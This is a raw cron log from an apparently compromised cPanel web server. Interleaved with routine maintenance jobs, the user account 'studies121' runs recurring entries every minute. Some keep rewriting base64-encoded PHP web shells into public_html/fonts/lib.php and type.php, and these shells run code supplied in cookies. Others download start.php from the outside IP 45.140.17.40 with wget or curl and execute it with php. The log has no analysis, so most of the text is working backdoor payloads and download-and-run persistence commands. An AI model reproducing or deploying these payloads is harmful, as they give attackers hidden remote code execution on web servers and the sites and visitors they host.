Aug 30 12:42:01 ip-184-168-122-23 CROND[15463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:42:01 ip-184-168-122-23 CROND[15465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:42:01 ip-184-168-122-23 CROND[15468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:42:01 ip-184-168-122-23 CROND[15471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:43:01 ip-184-168-122-23 CROND[15751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:43:01 ip-184-168-122-23 CROND[15753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:43:01 ip-184-168-122-23 CROND[15754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:43:01 ip-184-168-122-23 CROND[15755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:44:01 ip-184-168-122-23 CROND[15857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:44:01 ip-184-168-122-23 CROND[15859]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:44:01 ip-184-168-122-23 CROND[15862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:44:01 ip-184-168-122-23 CROND[15860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:44:01 ip-184-168-122-23 CROND[15864]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:45:01 ip-184-168-122-23 CROND[15977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:45:01 ip-184-168-122-23 CROND[15976]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Aug 30 12:45:01 ip-184-168-122-23 CROND[15983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:45:01 ip-184-168-122-23 CROND[15982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:45:01 ip-184-168-122-23 CROND[15985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:45:01 ip-184-168-122-23 CROND[15981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:45:01 ip-184-168-122-23 CROND[15984]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:46:01 ip-184-168-122-23 CROND[16130]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 12:46:01 ip-184-168-122-23 CROND[16132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:46:01 ip-184-168-122-23 CROND[16135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:46:01 ip-184-168-122-23 CROND[16136]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 12:46:01 ip-184-168-122-23 CROND[16133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:46:01 ip-184-168-122-23 CROND[16134]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:46:01 ip-184-168-122-23 CROND[16137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:47:01 ip-184-168-122-23 CROND[16240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:47:01 ip-184-168-122-23 CROND[16239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:47:01 ip-184-168-122-23 CROND[16242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:47:01 ip-184-168-122-23 CROND[16241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:48:01 ip-184-168-122-23 CROND[16434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:48:01 ip-184-168-122-23 CROND[16436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:48:01 ip-184-168-122-23 CROND[16437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:48:01 ip-184-168-122-23 CROND[16439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:48:01 ip-184-168-122-23 CROND[16438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:49:01 ip-184-168-122-23 CROND[16555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:49:01 ip-184-168-122-23 CROND[16556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:49:01 ip-184-168-122-23 CROND[16557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:49:01 ip-184-168-122-23 CROND[16558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:50:01 ip-184-168-122-23 CROND[16650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:50:01 ip-184-168-122-23 CROND[16652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:50:01 ip-184-168-122-23 CROND[16655]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 12:50:01 ip-184-168-122-23 CROND[16656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:50:01 ip-184-168-122-23 CROND[16657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:50:01 ip-184-168-122-23 CROND[16658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:50:01 ip-184-168-122-23 CROND[16654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:50:01 ip-184-168-122-23 CROND[16660]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 12:50:01 ip-184-168-122-23 CROND[16659]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:51:01 ip-184-168-122-23 CROND[16751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:51:01 ip-184-168-122-23 CROND[16753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:51:01 ip-184-168-122-23 CROND[16755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:51:01 ip-184-168-122-23 CROND[16754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:52:02 ip-184-168-122-23 CROND[16874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:52:02 ip-184-168-122-23 CROND[16876]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 12:52:02 ip-184-168-122-23 CROND[16877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:52:02 ip-184-168-122-23 CROND[16878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:52:02 ip-184-168-122-23 CROND[16879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:53:01 ip-184-168-122-23 CROND[17063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 12:53:01 ip-184-168-122-23 CROND[17066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 12:53:01 ip-184-168-122-23 CROND[17065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:53:01 ip-184-168-122-23 CROND[17067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:54:01 ip-184-168-122-23 CROND[17171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:54:01 ip-184-168-122-23 CROND[17173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
